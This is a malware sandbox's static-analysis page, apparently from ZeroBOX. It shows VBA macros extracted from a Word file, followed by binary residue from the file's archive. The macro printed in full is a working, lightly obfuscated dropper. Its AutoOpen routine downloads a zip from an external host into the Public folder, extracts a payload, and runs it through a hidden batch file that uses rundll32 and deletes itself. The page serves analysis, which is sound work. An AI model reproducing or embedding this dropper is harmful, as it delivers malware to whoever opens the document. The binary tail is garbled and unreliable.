popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "NewMacros"
Const EMguGO_LU = 2573.84

Function odfibGcI(CmitIA_)
    MsgBox "$=%(_^,?^,"
    odfibGcI = CmitIA_
End Function

If EMguGO_LU = 930.017 Then
    Const eBEad = 4048.5836
Else
    Const eBEad = ""
End If

If EMguGO_LU = 2743.527 Then
    Const Sy = 2136.3076
Else
    Const Sy = ""
End If

#If EMguGO_LU <> 1975.384 Then

Sub ViewPage(nShape)
    On Error Resume Next

    For i = 1 To 100
        Set s = ActiveDocument.Shapes(1)
        If s <> Null Then
            s.Fill.Solid
            s.Delete
        End If
    Next i
    

    For ViewMode = 10 To 0 Step -1
        ActiveWindow.View.SeekView = ViewMode
        With Selection
            .WholeStory
            .Font.Hidden = False
            .Collapse
        End With
    Next
End Sub

Sub DownloadFile(RemoteURL, LocalFile)
    On Error Resume Next
    Set WinHttpReq = CreateObject("Mic" & eBEad & "ros" & Sy & "oft" & eBEad & ".XM" & eBEad & "LHT" & Sy & "TP")
    WinHttpReq.Open "GET", RemoteURL, False
    WinHttpReq.send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADO" & eBEad & "DB." & eBEad & "Str" & Sy & "eam")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile LocalFile, 2 ' 1 = no overwrite, 2 = overwrite
        oStream.Close
    End If
End Sub
Sub WriteTextFile(strFile, strContent, strCharset)
    On Error Resume Next
    Set oStream = CreateObject("ADO" & eBEad & "DB." & eBEad & "Str" & Sy & "eam")
    oStream.Open
    oStream.Type = 2
    oStream.Charset = strCharset
    oStream.WriteText strContent
    oStream.SaveToFile strFile, 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
End Sub
Sub UnZipFile(destFolder, srcFile, specFile)
    On Error Resume Next
    Set fso = CreateObject("Scr" & Sy & "ipt" & Sy & "ing" & Sy & ".Fi" & eBEad & "leS" & Sy & "yst" & eBEad & "emO" & Sy & "bje" & eBEad & "ct")
    If Not fso.FolderExists(destFolder) Then
        fso.CreateFolder (destFolder)
    End If
    Set objShell = CreateObject("She" & eBEad & "ll." & eBEad & "App" & Sy & "lic" & Sy & "ati" & Sy & "on")
    Set FilesInZip = objShell.NameSpace(srcFile).items.Item(CStr(specFile))
    objShell.NameSpace(destFolder).CopyHere FilesInZip, 1044
    Set fso = Nothing
    Set objShell = Nothing
End Sub

Sub Macro1(df)
    On Error Resume Next
    Set WshShell = CreateObject("WSc" & eBEad & "rip" & eBEad & "t.S" & Sy & "hel" & eBEad & "l")
    df = WshShell.ExpandEnvironmentStrings("%pu" & eBEad & "bli" & Sy & "c%")
    
    rp = df & "\cv" & eBEad & "wiq" & Sy & ".zi" & Sy & "p"
    ui = "htt" & eBEad & "p:/" & eBEad & "/kr" & eBEad & "295" & Sy & "9.a" & Sy & "twe" & Sy & "bpa" & Sy & "ges" & Sy & ".co" & Sy & "m/v" & eBEad & "iew" & Sy & ".ph" & eBEad & "p?i" & Sy & "d=2"
    DownloadFile ui, rp
    UnZipFile df, rp, "wie" & eBEad & "b.d" & Sy & "at"
    Set fso = CreateObject("Scr" & Sy & "ipt" & eBEad & "ing" & eBEad & ".Fi" & eBEad & "leS" & Sy & "yst" & Sy & "emO" & Sy & "bje" & eBEad & "ct")
    fso.DeleteFile rp
    btTxt = "run" & eBEad & "dll" & Sy & "32." & Sy & "exe" & eBEad & " """ & df & "\wi" & Sy & "eb." & eBEad & "dat" & Sy & """ " & eBEad & "Run" & vbNewLine & "del" & eBEad & " /f" & eBEad & " /q" & eBEad & " %0"
    WriteTextFile df & "\nw" & eBEad & "ib." & Sy & "bat", btTxt, "asc" & eBEad & "ii"
    
    Set wmObjStart = GetObject("win" & eBEad & "mgm" & Sy & "ts:" & eBEad & "win" & Sy & "32_" & Sy & "Pro" & eBEad & "ces" & Sy & "sSt" & eBEad & "art" & Sy & "up")
    Set objConfig = wmObjStart.SpawnInstance_
    objConfig.ShowWindow = 0
    
    
    Set wmObj = GetObject("win" & Sy & "mgm" & Sy & "ts:" & eBEad & "win" & Sy & "32_" & Sy & "pro" & eBEad & "ces" & Sy & "s")
    res = wmObj.Create(df & "\nw" & Sy & "ib." & eBEad & "bat", Null, objConfig, pid)
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.ActiveWindow.View.Type = wdPrintView
    Set wnd = ActiveDocument
    wnd.Unprotect "2q3" & Sy & "wa4" & eBEad & "esz"
    ViewPage ("pic")
    wnd.Save
    Set ob_tmp = Application.Templates
    Dim tmp As Template
    For Each tmp In ob_tmp
    If tmp.Type = 0 Then
        Macro1 (tmp.Path)
        Exit For
    End If
    Next
End Sub









#End If

Deobfuscated

                                        Attribute VB_Name = "NewMacros"
Const EMguGO_LU = 2573.84

Function odfibGcI(CmitIA_)
    MsgBox "$=%(_^,?^,"
    odfibGcI = CmitIA_
End Function

If EMguGO_LU = 930.017 Then
    Const eBEad = 4048.5836
Else
    Const eBEad = ""
End If

If EMguGO_LU = 2743.527 Then
    Const Sy = 2136.3076
Else
    Const Sy = ""
End If

#If EMguGO_LU <> 1975.384 Then

Sub ViewPage(nShape)
    On Error Resume Next

    For i = 1 To 100
        Set s = ActiveDocument.Shapes(1)
        If s <> Null Then
            s.Fill.Solid
            s.Delete
        End If
    Next i
    

    For ViewMode = 10 To 0 Step -1
        ActiveWindow.View.SeekView = ViewMode
        With Selection
            .WholeStory
            .Font.Hidden = False
            .Collapse
        End With
    Next
End Sub

Sub DownloadFile(RemoteURL, LocalFile)
    On Error Resume Next
    Set WinHttpReq = CreateObject("Mic" & eBEad & "ros" & Sy & "oft" & eBEad & ".XM" & eBEad & "LHT" & Sy & "TP")
    WinHttpReq.Open "GET", RemoteURL, False
    WinHttpReq.send
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADO" & eBEad & "DB." & eBEad & "Str" & Sy & "eam")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile LocalFile, 2 ' 1 = no overwrite, 2 = overwrite
        oStream.Close
    End If
End Sub
Sub WriteTextFile(strFile, strContent, strCharset)
    On Error Resume Next
    Set oStream = CreateObject("ADO" & eBEad & "DB." & eBEad & "Str" & Sy & "eam")
    oStream.Open
    oStream.Type = 2
    oStream.Charset = strCharset
    oStream.WriteText strContent
    oStream.SaveToFile strFile, 2 ' 1 = no overwrite, 2 = overwrite
    oStream.Close
End Sub
Sub UnZipFile(destFolder, srcFile, specFile)
    On Error Resume Next
    Set fso = CreateObject("Scr" & Sy & "ipt" & Sy & "ing" & Sy & ".Fi" & eBEad & "leS" & Sy & "yst" & eBEad & "emO" & Sy & "bje" & eBEad & "ct")
    If Not fso.FolderExists(destFolder) Then
        fso.CreateFolder (destFolder)
    End If
    Set objShell = CreateObject("She" & eBEad & "ll." & eBEad & "App" & Sy & "lic" & Sy & "ati" & Sy & "on")
    Set FilesInZip = objShell.NameSpace(srcFile).items.Item(CStr(specFile))
    objShell.NameSpace(destFolder).CopyHere FilesInZip, 1044
    Set fso = Nothing
    Set objShell = Nothing
End Sub

Sub Macro1(df)
    On Error Resume Next
    Set WshShell = CreateObject("WSc" & eBEad & "rip" & eBEad & "t.S" & Sy & "hel" & eBEad & "l")
    df = WshShell.ExpandEnvironmentStrings("%pu" & eBEad & "bli" & Sy & "c%")
    
    rp = df & "\cv" & eBEad & "wiq" & Sy & ".zi" & Sy & "p"
    ui = "htt" & eBEad & "p:/" & eBEad & "/kr" & eBEad & "295" & Sy & "9.a" & Sy & "twe" & Sy & "bpa" & Sy & "ges" & Sy & ".co" & Sy & "m/v" & eBEad & "iew" & Sy & ".ph" & eBEad & "p?i" & Sy & "d=2"
    DownloadFile ui, rp
    UnZipFile df, rp, "wie" & eBEad & "b.d" & Sy & "at"
    Set fso = CreateObject("Scr" & Sy & "ipt" & eBEad & "ing" & eBEad & ".Fi" & eBEad & "leS" & Sy & "yst" & Sy & "emO" & Sy & "bje" & eBEad & "ct")
    fso.DeleteFile rp
    btTxt = "run" & eBEad & "dll" & Sy & "32." & Sy & "exe" & eBEad & " """ & df & "\wi" & Sy & "eb." & eBEad & "dat" & Sy & """ " & eBEad & "Run" & vbNewLine & "del" & eBEad & " /f" & eBEad & " /q" & eBEad & " %0"
    WriteTextFile df & "\nw" & eBEad & "ib." & Sy & "bat", btTxt, "asc" & eBEad & "ii"
    
    Set wmObjStart = GetObject("win" & eBEad & "mgm" & Sy & "ts:" & eBEad & "win" & Sy & "32_" & Sy & "Pro" & eBEad & "ces" & Sy & "sSt" & eBEad & "art" & Sy & "up")
    Set objConfig = wmObjStart.SpawnInstance_
    objConfig.ShowWindow = 0
    
    
    Set wmObj = GetObject("win" & Sy & "mgm" & Sy & "ts:" & eBEad & "win" & Sy & "32_" & Sy & "pro" & eBEad & "ces" & Sy & "s")
    res = wmObj.Create(df & "\nw" & Sy & "ib." & eBEad & "bat", Null, objConfig, pid)
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.ActiveWindow.View.Type = wdPrintView
    Set wnd = ActiveDocument
    wnd.Unprotect "2q3" & Sy & "wa4" & eBEad & "esz"
    ViewPage ("pic")
    wnd.Save
    Set ob_tmp = Application.Templates
    Dim tmp As Template
    For Each tmp In ob_tmp
    If tmp.Type = 0 Then
        Macro1 (tmp.Path)
        Exit For
    End If
    Next
End Sub









#End If
[Content_Types].xml
/L[E'9
_rels/.rels
word/_rels/document.xml.rels
X=c+(\
word/document.xml
vImxJJ
Ul3R+*
word/vbaProject.bin
%@~j^!e
M*7.l,'-Eo
lxUiuh
Iu!urOv%
0`o kO
e/4v7>
JnMh{n
HiVASP
T3SxxU
:Wx+YM
ta"Cu
~Q7hTmM&
op_&N\ft
\cvTY,f
2#TU,]
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/theme/theme1.xml
p{{<F!
wm1NDN
FM26P[
word/vbaData.xml
2%2tGSjN
Qf8x>p
word/settings.xml
d]pM>X
orf_fMI
FCvJab~|
docProps/app.xml
word/styles.xml
]6U*OT
Q5QE#j
w*"21,
Xl[GZG6u
:l+\]0,K
docProps/core.xml
HVr!7)z[-
j&N!]s]
=z|Z-P
word/fontTable.xml
M:b>"!!
word/webSettings.xml
f\US}d
,y0|yh}
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/vbaProject.binPK
word/_rels/vbaProject.bin.relsPK
word/theme/theme1.xmlPK
word/vbaData.xmlPK
word/settings.xmlPK
docProps/app.xmlPK
word/styles.xmlPK
docProps/core.xmlPK
word/fontTable.xmlPK
word/webSettings.xmlPK
No antivirus signatures available.
No IRMA results available.